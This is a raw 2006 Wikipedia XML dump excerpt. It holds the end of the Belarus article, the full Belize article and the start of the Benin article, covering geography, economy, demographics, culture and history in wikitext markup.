(Administrative centers are given in parentheses.)
# [[Minsk]] (capital)
# [[Brest Province]] ([[Brest, Belarus|Brest]])
# [[Homyel Province]] ([[Homyel']])
# [[Hrodna Province]] ([[Hrodna]])
# [[Mahilyow Province]] ([[Mahilyow]])
# [[Minsk Province]] ([[Minsk]])
# [[Vitsebsk Province]] ([[Vitsebsk]])

==Geography==
{{main|Geography of Belarus}}
[[Image:Swamp lake Balarus.jpg|thumb|Swamps, forests and a lake in Belarus]]

Belarus is [[landlocked]], relatively flat, and contains large tracts of [[marsh]]y land. Lakes and rivers punctuate the country. The largest marsh territory is [[Polesia]], which is also amongst the largest marshes in Europe. There are 11,000 lakes in Belarus, but the majority of the lakes are smaller than 0.5&amp;nbsp;[[square kilometre]] (124&amp;nbsp;[[acre]]s). Three major rivers run through the country, the [[Neman River]], the [[Pripyat River]], and the [[Dnepr River]]. Belarus' highest point is [[Dzyarzhynskaya Hara]] (Dzyarzhynsk Hill), 345&amp;nbsp;[[metre]]s (1,132&amp;nbsp;[[foot (unit of length)|ft]]), and its lowest point is on the Neman River, 90&amp;nbsp;metres (295&amp;nbsp;ft). The [[climate]] ranges from harsh [[winter]]s (average January temperatures are in the range &amp;minus;8&amp;nbsp;°[[Celsius|C]](18&amp;nbsp;°[[Fahrenheit|F]]) to &amp;minus;2&amp;nbsp;°C (28&amp;nbsp;°F)) to cool and moist [[summer]]s (average temperature 15&amp;nbsp;°C (59°F) to 20&amp;nbsp;°C(68°F)).

Forest covers about 34 % of the total landscape, making it one of the most dominant natural resources in Belarus. Other natural resources to be found in Belarus include [[peat]] deposits, small quantities of [[petroleum|oil]] and natural gas, [[granite]], dolomitic [[limestone]], [[marl]], [[chalk]], [[sand]], [[gravel]], and [[clay]]. About one fifth of the territory, mostly in the South-Eastern provinces of [[Homyel voblast|Homyel]] and [[Mahilyow voblast|Mahilyow]], continues to be affected by fallout from the 1986 [[nuclear power plant]] disaster in [[Chernobyl]], [[Ukraine]]. While the amount of radiation has decreased (by one percent) since the disaster, most of the area is considered uninhabitable. {{ref|Chernobyl}}

==Economy==
[[Image:Belarus-2000-Bill-500-Obverse.jpg|thumb|Obverse of the 500 [[Belarusian rouble]] (BYB/BYR), the national currency]]
{{main|Economy of Belarus}}
The Belarusian [[Economic system|economy]] has so far not converted into a [[free-market economy]], since the central steering element economy is still preferred by the government. However, it has not come close to economic collapse as in other states of the former Soviet Union. The country is economically relatively stable. The country depends to a large extent on [[raw material]] supplies from [[Russia]]. [[Industry]] and [[agriculture]] are in large amount in state hands. Belarus ranks thus among the few existing state-capitalistic national economies. The agriculture is dominated by collective agriculture and with major branches: [[cultivation]] of [[potato|potatoes]], [[cattle]] [[breeding]].
Historically important branches of industry are the [[textile]] industry and the wood processing. After 1965, creation of heavy industry and [[mechanical engineering]] [[tractors]],[[refrigerator]]s) significantly strengthens countries development. Within the Soviet Union Belarus was one of the industrially most developed republic. Economically Belarus engages itself in the [[Commonwealth of Independent States]], [[Europe Asian Economic Community]] and [[Union of Russia and Belarus|Union with Russia]]. After 1990 with the introduction of free market structures the economics production was decreasing. The economics growths started again in 1996, so that by 2001 the industrial production and agricultural production came back to the level of 1990 and since then further rise.
The GDP (PPP) of the year 2005 is $77.77 billion (estimate), which results in approximately $7,600 dollar per head. In the year 2005 the [[GDP]] increase approximately to 8-9%, with inflation rate laying on the level of 10%. Besides Belarus has the highest standard of living under all CIS states according to [[United Nations|UN]], the average monthly income grew from 20 [[USD]] to 225 within last 10 years. 
The [[unemployment rate]], according to data of Belarusian government, was about 2 % in 2005. However, experts have said that the country may have a  higher rate than 2 %. The other sticking point in the Belarusian economy is the legal currency inside the country. Since leaving the Soviet Union, the [[Belarusian ruble]] (BYR) was used as the national currency. However, due to the Union of Russia and Belarus, there was an issue about using the [[Russian ruble]] (RUB) as the currency of both Russia and Belarus. According to Russian newspaper [[ITAR-TASS]], the Belarusian ruble will be discarded and the Russian ruble will become the official currency of Belarus starting on [[January 1]] [[2008]]. [http://www.naviny.by/ru/content/rubriki/2-ya_gruppa/inter/29-01-06-01/]

==Demographics==
[[Image:Belarus-demography.png|thumb|230px|Change in the population of Belarus (1992-2003)]]
{{main|Demographics of Belarus}}
The majority of the [[population]] of Belarus are native [[Belarusians]], who comprise 81.2 % of the total population of 10,300,483 people. [[Russians]] are the second largest group making up 11.4 % of the population. The [[Polish people|Poles]] and [[Ukrainians]] account for 3.9 and 2.4 % of the population, respectively. 

Languages commonly spoken in Belarus are [[Russian language|Russian]] and [[Belarusian language|Belarusian]], which are both official languages of Belarus. 

The population density is about 50 persons per [[square kilometer]] (127/sq.&amp;nbsp;mi) and 71.7 % of the total population lives in [[Urbanization|urban]] areas. Of the urban population, 24 % live in Minsk, the national capital and largest city.{{ref|demographics}} 

Most of the population, 69.5 %, are between the ages of 14 and 64. Sixteen percent of the population is under 14 years, while 14.6 % are age 65 or older. The median age of the population is 37. The average life expectancy for Belarusian citizens is 68.72 years; for males it is 63.03 years and for females it is 74.96 years. 

The literacy rate in Belarus, which is the number of people aged 15 and older who can read and write, is at 99 %, with men at 99.8%, and women at 99.3%. The male-to-female ratio in 2005 was estimated to be .88 males to every female. 

Most demographic indicators for Belarus resemble other European countries, notably with both the population growth rate and the natural growth rate in the negative. The population growth is currently at &amp;minus;0.09%{{inote|CIA Factbook}} in 2005, with a fertility rate of 1.39. The population is also growing older, and by the year 2050, the majority of the population will be over the age of 50.{{ref|census}}  The migration rate is +2.42 for every 1 000 people in Belarus.

==Culture==
{{main|Culture of Belarus}}
[[Image:Brest Kirche.jpg|thumb|Russian Orthodox church in Brest, Belarus]]
Traditional Belarusian dress originates from the time of [[Kievan Rus]] and over time was under the influence of cultures of neighbors: Poles, Lithuanians, Latvians, Russians, and other European nations. Aside from its predominantly Ruthenian roots, [[Belarusian cuisine]] is very close to Lithuanian. It is sometimes considered as somewhat less rich and impressive than those of its imposing neighbors. In fact, however, this may result from the general lack of national identity which still continues to hold back the development of a nation and also led to the loss of many culinary traditions in the last 100 years. 

Certain aspects of the Belarusian culture have been lost over time because of the [[Russification]] period. President Lukashenko has introduced laws that force [[radio]] and [[television]] stations to showcase a percentage of Belarusian talent daily, but it does not state that the performance has to be in the Belarusian or Russian language. The said radio and television stations are state-owned, mostly controlled by the [[National State Teleradiocompany]] (TVR).

The Belarusian government sponsors many annual cultural festivals: &quot;Slavonic Bazaar in Vitebsk&quot;; &quot;Minsk Spring&quot;; &quot;Slavonic Theatrical Meetings&quot;; International Jazz Festival; National Harvesting Festival; &quot;Arts for Children and Youth&quot;; the Competition of Youth Variety Show Arts; &quot;Muses of Niesvizh&quot;; &quot;Mir Castle&quot;; and the National Festival of the Belarusian Song and Poetry. These events showcase talented Belarusian performers, whether it is in [[music]], [[art]], [[poetry]], [[dance]] or [[theater]]. At these festivals, various prizes named after Soviet and Belarusian heroes are awarded for excellence in music or art. Several state holidays, like [[Independence Day]] or [[Victory Day]] draw big crowds and include various displays such as [[fireworks]] and [[Military of Belarus|military]] parades. Most of the festivals take place in Vitebsk or Minsk.{{ref|festivals}}

Belarus has four [[World Heritage Sites]], two of them shared between Belarus and its neighbors. The four are: the [[Mir Castle Complex]]; the [[Niasvizh Castle]]; the [[Belovezhskaya Pushcha]] (shared with [[Poland]]); and the [[Struve Geodetic Arc]] (shared with [[Estonia]], [[Finland]], [[Latvia]], [[Lithuania]], [[Norway]], [[Moldova]], Russia, [[Sweden]] and Ukraine). {{ref|UNESCO}}

==See also==
{{Template:Belarusian Topics}}

==International rankings==
Every year, several non-governmental groups and international organizations release ratings that compare various nations to each other on issues of government corruption, freedom in the press, economic activity and women's rights. This is a sampling of the various groups with their report, along with the results of how Belarus is ranked.

* [[A.T. Kearney]]/[[Foreign Policy|Foreign Policy Magazine]]: [http://www.atkearney.com/main.taf?p=5,4,1,116 Globalization Index 2005], not ranked out of 62 countries
* [[Heritage Foundation]]/[[The Wall Street Journal]]: [http://www.heritage.org/research/features/index/ 2005] [[Index of Economic Freedom]], ranked 143rd out of 155 countries (with a score of 3.99, Repressed)
* [[IMD International]]: [http://www01.imd.ch/wcy/ World Competitiveness Yearbook 2005], not ranked out of 60 economies (countries and regions)
* [[Reporters without borders]]: [http://www.rsf.fr/article.php3?id_article=11715 Third annual worldwide press freedom index (2004)], ranked 144th out of 167 countries
* [[Save the Children]]: [http://www.savethechildren.org/mothers/report_2005/ State of the World's Mothers 2005], 15th for mothers, 14th for women and 18th for children out of 110 countries
* [[The Economist]]: [http://www.economist.com/theworldin/international/displayStory.cfm?story_id=3372495&amp;d=2005 The World in 2005 - Worldwide quality-of-life index, 2005], ranked 100th out of 111 countries
* [[Transparency International]]: [http://www.transparency.org/pressreleases_archive/2004/2004.10.20.cpi.en.html Corruption Perceptions Index 2004], ranked 74th out of 146 countries
* [[United Nations Development Programme]]: [http://hdr.undp.org/reports/global/2004/ Human Development Index 2004], ranked 62nd out of 177 countries
* [[World Economic Forum]]: [http://www.weforum.org/site/homepublic.nsf/Content/Global+Competitiveness+Programme%5CGlobal+Competitiveness+Report Global Competitiveness Report 2004-2005 - Growth Competitiveness Index Ranking], not ranked out of 104 countries

==References==
&lt;div style=&quot;font-size:85%;&quot;&gt;
# {{Note|name}} [http://www.belarusguide.com/history1/belname.html Why White Russia?]
# {{Note|spelling}} [http://www.pravapis.org/art_belarus_name.asp The 21 Names of Belarus]
# {{Note|warpop}} [http://countrystudies.us/belarus/11.htm Country Studies - Belarus - Stalin and Russification]
# {{Note|Soviet-era}} [http://www.iexplore.com/dmap/Belarus/History iExplore - Belarus History and Culture]
# {{Note|russification}} [http://countrystudies.us/belarus/11.htm Country Studies - Belarus - Stalin and Russification]
# {{Note|Gorby}} [http://countrystudies.us/belarus/12.htm Country Studies - Belarus - Perestroika]
# {{Note|massgraves}} [http://www.district87.org/staff/gordonr/russia/belarus.htm Belarus Backgrounder] [http://countrystudies.us/belarus/12.htm Country Studies - Belarus - Perestroika]
# {{Note|OSCE}} [http://www.osce.org/documents/odihr/2004/12/3951_en.pdf OSCE Report on the October 2004 parliamentary elections] [[December]] [[2004]]
# {{Note|CoE}} [http://press.coe.int/cp/97/11a(97).htm Belarus suspended from the Council of Euopre] [[January 17]] [[1997]]
# {{Note|HRW}} [http://hrw.org/english/docs/2005/01/13/belaru9878.htm Human Rights Watch]
# {{Note|Chernobyl}} [http://news.bbc.co.uk/2/hi/europe/4485003.stm BBC News -  Belarus cursed by Chernobyl] [[April 26]] [[2005]]
# {{Note|marketsocialism}} [http://www.cia.gov/cia/publications/factbook/geos/bo.html#Econ CIA World Factbook (2005) - Belarus - Economy]
# {{Note|commoncurrency}} [http://www.mosnews.com/money/2005/08/30/belarusruble.shtml Mosnews - Belarus Once Again Delays Introduction of Russian rouble]
# {{note|pravda}} [http://english.pravda.ru/economics/2003/02/11/43246.html Pravda.ru - Belarus Intends to Attract USD 1.5 Billion in Foreign Investment in 2003]
# {{Note|heritage}} [http://www.heritage.org/research/features/index/country.cfm?id=Belarus Heritage Foundation's Index of Economic Freedom - Belarus]
# {{Note|demographics}} [http://www.cia.gov/cia/publications/factbook/geos/bo.html#People CIA World Factbook (2005) - Belarus - People]
# {{Note|census}} [http://www.census.gov/cgi-bin/ipc/idbpyrs.pl?cty=BO&amp;out=s&amp;ymax=250 US Census Bureau Populatiom Pyramid - Belarus] 
# {{note|festivals}} [http://www.belarusembassy.org/belarus/culture.htm Belarusian festivals]
# {{Note|UNSECO}} [http://whc.unesco.org/en/statesparties/by UNESCO list of Belarusian World Heritage Sites]
&lt;/div&gt;

==External links==
{{portal}}
{{Sisterlinks|Belarus}}
*[http://www.osw.waw.pl/files/report_bielarus_eng.pdf Ośrodek Studiów Wschodnich, OSW; Centre for Eastern Studies, Warsaw: Belarus – The EU’s unknown neighbour The political, social and economic situation of Belarus]

===Governmental websites===
* [http://www.president.gov.by/eng/ President's official site]
* [http://www.government.by/ru/rus_news.html Government of Belarus (ru)]
* [http://www.belarusembassy.org/ Embassy of Belarus in the United States (en)]

===Informational/Cultural===
* [http://www.belarus-misc.org/ A Belarus Miscellany]
* [http://www.belarusguide.com/ The Virtual Guide of Belarus]
* [http://www.belarusinside.org/index_en.html Belarus Inside - Belarus by Belarusians]
* [http://www.about-belarus.info/ Web directory of Belarusian topics]
* [http://imc-by.hardcore.lt Indymedia Belarus]
* [http://aci.byelarus.com/ ACI Minsk. Info Guides]
* [http://cp.settlement.org/english/belarus/eating.html Eating the Belarusian way]
* [http://www.belarusembassy.org/belarus/culture.htm Belarusian festivals]

&lt;!--Templates--&gt;
{{Commonwealth of Independent States}}
{{Eurasian Economic Community}}
{{Europe}}

&lt;!--Category--&gt;

&lt;!--Interlanguage links--&gt;

[[Category:Belarus| ]]

[[ang:Belarus]]
[[ar:روسيا البيضاء]]
[[an:Belarrusia]]
[[ast:Bielorrusia]]
[[bg:Беларус]]
[[zh-min-nan:Belarus]]
[[be:Беларусь]]
[[bn:বেলারুশ]]
[[bs:Bjelorusija]]
[[ca:Bielorússia]]
[[cv:Белоруси]]
[[chr:ᏇᎳᎷᏒ]]
[[cs:Bělorusko]]
[[cy:Belarus]]
[[da:Hviderusland]]
[[de:Weißrussland]]
[[et:Valgevene]]
[[el:Λευκορωσία]]
[[es:Bielorrusia]]
[[eo:Belorusio]]
[[eu:Bielorrusia]]
[[fa:بلاروس]]
[[fr:Biélorussie]]
[[fy:Wyt-Ruslân]]
[[gl:Bielorrusia - Беларусь]]
[[ko:벨라루스]]
[[hy:Բելառուս]]
[[hi:बेलारूस]]
[[hr:Bjelorusija]]
[[io:Bielorusia]]
[[id:Belarus]]
[[is:Hvíta-Rússland]]
[[it:Bielorussia]]
[[he:בלארוס]]
[[ka:ბელარუსი]]
[[kk:Беларусь]]
[[kw:Belarussi]]
[[la:Ruthenia Alba]]
[[lv:Baltkrievija]]
[[lt:Baltarusija]]
[[lb:Wäissrussland]]
[[li:Wit-Rösland]]
[[hu:Belarusz]]
[[mr:बेलारूस]]
[[ms:Belarus]]
[[mo:Беларус]]
[[na:Belarus]]
[[nl:Wit-Rusland]]
[[nds:Wittrussland]]
[[ja:ベラルーシ]]
[[no:Hviterussland]]
[[nn:Kviterussland]]
[[oc:Bielorussia]]
[[pl:Białoruś]]
[[pt:Bielorrússia]]
[[ro:Belarus]]
[[ru:Белоруссия]]
[[sa:बेलारूस]]
[[sq:Bjellorusia]]
[[sh:Belorusija]]
[[simple:Belarus]]
[[sk:Bielorusko]]
[[sl:Belorusija]]
[[sr:Белорусија]]
[[fi:Valko-Venäjä]]
[[sv:Vitryssland]]
[[tl:Belarus]]
[[th:ประเทศเบลารุส]]
[[vi:Belarus]]
[[tr:Beyaz Rusya]]
[[uk:Білорусь]]
[[ur:بیلاروس]]
[[yi:בעלאָרוסיע]]
[[zh:白俄罗斯]]
[[fiu-vro:Valgõvinne]]</text>
    </revision>
  </page>
  <page>
    <title>Belize</title>
    <id>3458</id>
    <revision>
      <id>42160047</id>
      <timestamp>2006-03-04T05:28:02Z</timestamp>
      <contributor>
        <username>Stangoldsmith</username>
        <id>944646</id>
      </contributor>
      <minor />
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Belize infobox}}
'''Belize''' is a small nation on the eastern coast of [[Central America]], on the [[Caribbean Sea]] bordered by [[Mexico]] to the northwest and [[Guatemala]] to the west and south. The country is a [[parliamentary democracy]] and [[constitutional monarchy]] which recognizes [[Queen Elizabeth II of the United Kingdom|Queen Elizabeth II]] as Sovereign.  The nation of [[Honduras]] lies 75 [[kilometre|km]] away (47&amp;nbsp;[[mile|mi]]) across the [[Gulf of Honduras]] to the east. The name is derived from the [[Belize River]] which [[Belize City]], the former capital and largest city, is also named after. In [[Spanish language|Spanish]] it is usually called ''Belice''. Known as [[British Honduras]] until 1973, Belize was a [[United Kingdom|British]] [[colonialism|colony]] for more than a century. It became an independent nation in 1981. Belize is a member of [[Caribbean Community]] (CARICOM) and the [[Sistema de Integracion Centro Americana]] (SICA) and considers itself to be both [[Caribbean]], and [[Central American]]. 

== History ==
''Main article: [[History of Belize]]''
[[Image:Xunantunich1976.jpg|thumb|left|Xunantunich, Belize]]

The [[Maya civilization]] spread over Belize between [[1500 BC]] and [[Anno Domini|AD]] 300 and flourished until about AD 900. 

The first [[Europe]]ans arrived in the area in the early [[16th century]] and settlement began with British [[privateer]]s and [[shipwreck]]ed [[England|English]] seamen as early as 1638. 

The origin of the name '''Belize''' is not clear but one explanation is that it derives from the Spanish [[pronunciation]] of Wallace, the name of the pirate who created the first settlement in Belize in 1638.  Another possibility is that the name is from the Maya word belix, meaning &quot;muddy water&quot;, applied to the Belize River.

The early &quot;settlement of Belize in the Bay of Honduras&quot; grew from a few habitations located at Belize Town and St George's Caye, into a de-facto colony of the [[United Kingdom]] during the late [[18th century]].  In the early [[19th century]], the settlement was called the British Honduras, and in 1862 it became a Crown Colony.

[[Hurricane]] [[Hattie]] inflicted significant damage upon Belize in 1961.  The government decided that a coastal capital city lying below sea level was too [[risk]]y.  Over several years, the British colonial government designed a new capital [[Belmopan]] at the exact geographic centre of the country, and in 1970 began slowly moving the governing offices there.

British Honduras became a [[self-governing colony]] in January 1964 and was renamed ''Belize'' in June 1973; it was the United Kingdom's last colony on the American mainland.  [[George Cadle Price|George Price]] led the country to full independence on [[21 September]], [[1981]] after delays caused by territorial disputes with neighbouring [[Guatemala]], which did not formally recognise the country until 1992.

Throughout Belize's history, [[Guatemala]] has claimed ownership of all or part of the territory.  This claim is occasionally reflected in [[map]]s showing Belize as Guatemala's most eastern [[province]].  As of 2005, the border dispute with Guatemala remains unresolved and quite contentious, at various times the issue has involved mediation assistance from the [[United Kingdom]] and the [[Caribbean Community|CARICOM]] heads of Government.  Since independence, a British garrison has been retained in Belize at the request of the Belizean Government. Notably, both Guatemala and Belize are participating in the confidence building measures, including the Guatemala-Belize Language Exchange Project (for more information see: www.guatemalabelize.com ).

Belize was recently the site of [[2005 Belize unrest|unrest]] directed at the country's ruling party concerning tax increases in the national budget.

== Politics ==
[[Image:Protest 0082.JPG|thumb|Belizian protests, 21st January 2005]]
''Main article: [[Politics of Belize]]''

Belize is a [[parliamentary system|parliamentary]] [[democracy]] and a member of the [[Commonwealth of Nations]]. The [[head of state]] is currently [[Queen Elizabeth II of the United Kingdom|Queen Elizabeth II]], represented in the country by a [[governor-general]], who must be a Belizean. 

The primary [[executive (government)|executive]] organ of government is the [[cabinet (government)|cabinet]], led by a [[Prime Minister of Belize|prime minister]] who is [[head of government]]. Cabinet ministers are members of the majority political party in parliament and usually hold elected seats within it concurrently with their cabinet positions.

The bicameral Belizean [[parliament]] is the National Assembly, which consists of a [[House of Representatives]] and a [[Senate]]. The 29 members of the House are popularly elected to a maximum 5-year term. Of the Senate's eight members, five are chosen by the prime minister, two by the leader of the opposition, and one by the governor general on the advice of the Belize Advisory Council. The Senate is headed by a president, who is a nonvoting member appointed by the governing party.

Belize is a full participating member of the [[Caribbean Community|Caribbean Community (CARICOM)]].

== Districts ==
[[Image:BelizeNumbered.png|125px|framed|]]
:''Main article: [[Districts of Belize]]''

Belize consists of six districts:
# [[Belize District]] 
# [[Cayo District]]
# [[Corozal District]]
# [[Orange Walk District]]
# [[Stann Creek District]]
# [[Toledo District]]

== Geography ==
[[Image:Belize_map.png|thumb|left|Map of Belize]]
''Main article: [[Geography of Belize]]''

Belize is located between the [[Hondo River|Hondo]] and [[Sarstoon River]]s, with the [[Belize River]] flowing down in the centre of the country.  The north of Belize consists mostly of flat, swampy coastal plains, in places heavily forested.  The south contains the low [[mountain range]] of the [[Maya Mountains]], whose [[Victoria Peak]] is the highest point in Belize at 1,160 [[metre]]s (3,806&amp;nbsp;[[foot (unit of length|ft]]).  The [[Caribbean Sea|Caribbean]] coast is lined with a [[coral reef]] and islands known locally as ''cayes'', pronounced &quot;keys&quot;.  Belize is home to the longest barrier reef in the western hemisphere and the second longest in the world after the [[Great Barrier Reef]].

The [[climate]] is [[Tropics|tropical]] and generally very hot and humid.  The rainy season lasts from May to November and [[hurricane]]s and [[flood]]s are frequent natural hazards.

== Economy ==
''Main article: [[Economy of Belize]]''
[[Image:Belize farming gm.jpg|thumb|right|The majority of the Belizean economy is comprised of the tourism industry.  Agriculture is also key part of the economy.]]
The small, essentially private enterprise economy is based primarily on [[agriculture]], agro-based industry, and merchandising, with [[tourism]] (especially scuba diving) and construction assuming greater importance. [[Sugar]], the chief crop, accounts for nearly half of exports, while the [[banana]] industry is the country's largest employer. [[Citrus production]] has become a major industry along the [[Hummingbird Highway]].

The government's expansionary monetary and fiscal policies, initiated in September 1998, led to [[Gross Domestic Product|GDP]] growth of 6.4% in 1999 and 10.5% in 2000. Growth decelerated in 2001 to 3% due to the global slowdown and severe [[hurricane]] damage to agriculture, [[fishing]] and tourism. Major concerns continue to be the rapidly expanding [[trade deficit]] and foreign debt. A key short-term objective remains the reduction of [[poverty]] with the help of international donors.

== Demographics ==
''Main article: [[Demographics of Belize]]''

Though Belize's population is 283,000 (July 2005 est.), emigration is relatively high. Approximately 105,000 Belizeans currently live abroad (mostly in the United States). Most Belizeans are of multiracial and multiethnic descent. However, for census purposes as well as Belizean custom, people are usually recognized by their father's ethnicity. About 49% are of mixed Maya and European descent (Mestizo). The first mestizos to settle in [[Belize]] were Mexicans fleeing from the [[Caste War of Yucatán|Caste War]] of the [[Yucatan]] Peninsula in 1847-48. They founded the town of [[Corozal]] (1849) near the ancient ruins of Santa Rita and their descendants can be found living today. A second and larger mestizo migration took place during the 1980’s with the arrival of thousands of refugees from [[Guatemala]], and [[El Salvador]]. Until the early 1980’s, Belizean Creole constituted 70% of the population, but today they are about 25% of the population. This was due to refugees coming in from neighboring countries as well as emigration of thousands of Creoles. Creoles are descendants of African slaves brought primarily from Jamaica and Nicaragua’s Miskito Coast to cut down mahogany trees. Because of a lack of [[Europe]]an women, their [[Irish people|Irish]] and [[Scottish people|Scottish]] slave owners would take female slaves as child bearers and this union created The Creole people and culture. Though no longer the majority, Creole culture is still dominant in Belize (especially [[Belize City]]). The indigenous Mayas make up about 10% of the population. The [[Garifuna]] or (Garinagu) are descendants of Africans as well as Carib and Arawakan Amerindians and make up 6%. In the early 1600’s at least two thousand escaped their Spanish captives on the Island of San Vicente (what is now [[Saint Vincent]]) . They are said to have never been slaves and they have retained many of their cultures and customs that support this. When the British took control of the island, the “Red” Caribs were mostly killed off, and the “Black” Caribs were deported to Roatan Bay in Honduras. Many settled in [[Guatemala]], [[Nicaragua]], and [[Belize]]. The rest of the population are Chinese, East Indian, and North American peoples.

The official language of Belize is [[English language|English]] and sole language of instruction in its school systems. Around 80% of the population is literate in English and as much as 90% of the population is able to speak some English. The most common language however is [[Belizean Kriol language|Kriol]] (Belizean Creole). Kriol is the [[lingua franca]] in much of the country and is spoken by nearly everyone in Belize as either a first- or second-language (95% of all people in Belize City speak Kriol and English solely).

Overall Kriol is spoken by 70% of the entire population as a first language (with around 20% speaking Kriol solely and no Standard English). The next most widely spoken language is [[Spanish Language|Spanish]], which is spoken by approximately 35% of the population as a first, but mostly second-language according to the 2000 census, although in Orange Walk and Corozal Districts, Spanish is the majority language (60%). Some communities in southern Belize mostly speak [[Garifuna]] and the Kekchi, Mopan, and Yucatan [[Maya languages]].
Despite the many languages (around eight different languages in all), the 2000 census also estimated that around 70% of all Belizeans were bilingual or even trilingual.

About 50% of the population is [[Roman Catholic]]; the [[Anglican Church]] and other [[Protestant]] Christian groups account for most of the remainder.  About 5% belong to the [[German language|German]]-/[[Plattdüütsch]]-speaking [[Mennonite]] community.  There are also some [[Jew]]s and [[Muslim]]s.

== Culture ==
[[Image:Belize.BzeCity.MemorialPark.01.jpg|thumb|Memorial Park, Belize City]]
[[Image:Belize.BzeCity.SwingBridge.01.jpg|thumb|The Swing Bridge, on Haulover Creek. Belize City]]
''Main article: [[Culture of Belize]]''

National Holidays include ''[[Baron Bliss]] Day'' on [[9 March]]; ''[[Commonwealth Day]]'' on the second Monday in March; ''[[Labour Day]]'' on [[1 May]]; ''The Battle of [[St. George's Caye]]'' on [[10 September]]; ''[[Independence Day]]'' on [[21 September]], ''[[Pan American]] Day'' on [[13 October]]; ''[[Garifuna]] Settlement Day'' on [[19 November]];  And ''[[Christmas]]'' on [[25 December]].

*[[List of Belizeans]]
*[[Music of Belize]]

== Miscellaneous topics ==
[[Image:Belize mayan ruins3.jpg|thumb|left|Mayan ruins in Belize]]
[[Image:Belize.AltunHa.Panorama.01.jpg|thumb|left|Altun Ha archaeological site, Belize.]]
*[[Communications in Belize]]
*[[Foreign relations of Belize]]
*[[Languages of Belize]]
*[[Maya ruins of Belize]]
*[[Military of Belize]]
*[[Plants and animals of Belize]]
*[[Ports of Belize]]
*[[Transport in Belize]]

''Material in some of these articles comes from the [[CIA World Factbook]] 2000 and the 2003 U.S. Department of State website.''

== Further reading ==
* ''Belize'' Carlos Ledson Miller ''(novel)''
* ''Belize: A Concise History'' P. A. B. Thomson
* ''Belize : Land of the Free By The Carib Sea'' Thor Janson
* ''Confederate Settlements in British Honduras'' Donald C., Jr. Simmons
* ''Fodor's Guide: Belize and Guatemala''
* ''Formerly British Honduras: A Profile of a New Nation of Belize'' William David Stetzekorn
* ''Insight Guide: Belize'' Huw Hennessy
* ''Lonely Planet World Guide: Belize'' Carolyn Miller Caelstrom and Debra Miller
* ''The Making of Belize'' Anne Sutherland
* ''Moon Handbooks: Belize'' Chicki Mallan and Joshua Berman
* ''Our Man in Belize: A Memoir'' Richard Timothy Conroy
* ''The Guatemalan Claim to Belize A Handbook on the Negotiations'' James S. Murphy
* ''The Rough Guide: Belize'' Peter Eltringham 
* ''Time Among the Maya: Travels in Belize, Guatemala and Mexico'' Ronald Wright
* ''Thirteen Chapters of A History of Belize'' Assad Shoman
* ''Traveller's Wildlife Guide: Belize and Northern Guatemala'' Les Beletsky

== External links ==
{{sisterlinks|Belize}}
*[http://www.belizeweb.com/ Belize Web] - Official website of national communications company BTL, features news site links and many online radio stations
*[http://www.belize.gov.bz Government of Belize] - Official governmental site
*[http://www.travelbelize.org Belize Tourism Board] - Official Tourism site
*[http://www.belizenet.com Belize by Naturalight] - Belize Portal
*[http://www.belizeanjourneys.com Belizean Journeys] - Belize Online Magazine
*[http://www.belizeforum.com Belize Forums] - Community Forums on Belize
*[http://www.belize.net/ Belize.Net] - Belize Specific Search Engine
*[http://nature.org/wherewework/centralamerica/belize/ Conservation in Belize] - Nature Conservacy on Belize coral reef
*[http://www.world-gazetteer.com/wg.php?x=1106472001&amp;men=gmap&amp;lng=en&amp;gln=xx&amp;dat=32&amp;geo=-44&amp;srt=npan&amp;col=aohdq Map]
*[http://belize-guide.info/ Belize Travel Guide] - Extensive articles on Belize
*[http://www.guatemalabelize.com  Guatemala-Belize Language Exchange news, project information, official country links, photos ]

See also the following districts of Belize:
*[[Belize District]]
*[[Cayo District]]
*[[Corozal District]]
*[[Orange Walk District]]
*[[Stann Creek District]]
*[[Toledo District]]

{{North_America}}
{{Central America}}
{{Caricom}}

[[Category:Belize| ]]
[[Category:CARICOM member states]]
[[Category:Central American countries]]
[[Category:Former British colonies]]
[[Category:Members of the Commonwealth of Nations]]
[[Category:Monarchies]]

[[an:Belize]]
[[ar:بليز]]
[[ast:Belice]]
[[bg:Белиз]]
[[bn:বেলিজ]]
[[bs:Beliz]]
[[ca:Belize]]
[[cs:Belize]]
[[da:Belize]]
[[de:Belize]]
[[eo:Belizo]]
[[es:Belice]]
[[et:Belize]]
[[eu:Belize]]
[[fi:Belize]]
[[fr:Belize]]
[[gl:Belice - Belize]]
[[he:בליז]]
[[hr:Belize]]
[[ht:Beliz]]
[[hu:Belize]]
[[id:Belize]]
[[io:Belize]]
[[is:Belís]]
[[it:Belize]]
[[ja:ベリーズ]]
[[ko:벨리즈]]
[[ks:बेलीज]]
[[lt:Belizas]]
[[lv:Beliza]]
[[ms:Belize]]
[[na:Belize]]
[[nds:Belize]]
[[nl:Belize (land)]]
[[nn:Belize]]
[[no:Belize]]
[[pl:Belize]]
[[pt:Belize]]
[[ro:Belize]]
[[ru:Белиз]]
[[sa:बेलीज]]
[[scn:Belizi]]
[[simple:Belize]]
[[sk:Belize]]
[[sl:Belize]]
[[sq:Beliza]]
[[sr:Белизе]]
[[sv:Belize]]
[[th:ประเทศเบลีซ]]
[[tl:Belize]]
[[tr:Belize]]
[[uk:Беліз]]
[[zh:伯利兹]]
[[zh-min-nan:Belize]]</text>
    </revision>
  </page>
  <page>
    <title>Benin</title>
    <id>3459</id>
    <revision>
      <id>41484399</id>
      <timestamp>2006-02-27T17:52:26Z</timestamp>
      <contributor>
        <username>Rory096</username>
        <id>750223</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/204.57.104.6|204.57.104.6]] ([[User talk:204.57.104.6|talk]]) to last version by Schaengel89</comment>
      <text xml:space="preserve">{{otheruses}}
{{benin infobox}}
The '''Republic of Benin''' is a country in [[West Africa]], [[Geographical renaming|formerly known as]] [[Dahomey]] or Dahomania. It has a small coast line with the [[Bight of Benin]] in the south, borders [[Togo]] in the west, [[Nigeria]] in the east, and [[Burkina Faso]] and [[Niger]] in the north.
== History ==
''Main article: [[History of Benin]]''

[[Image:La Fête à Abomey(1908). - Danse de fêticheuses de Fon.jpg|thumb|left|Celebration at [[Abomey]], 1908]]
The African kingdom of [[Dahomey]] originated in Benin. By the [[17th century]], the kingdom, ruled by an ''oba'', stretched beyond the borders of present-day Benin, covering a large part of West-Africa. The kingdom was prosperous and established slave trading relations with the [[Europe]]ans (mostly [[Portugal|Portuguese]] and [[Netherlands|Dutch]]) who first arrived in the late 15th century. The coastal part of the kingdom became known as the [[Slave Coast]].

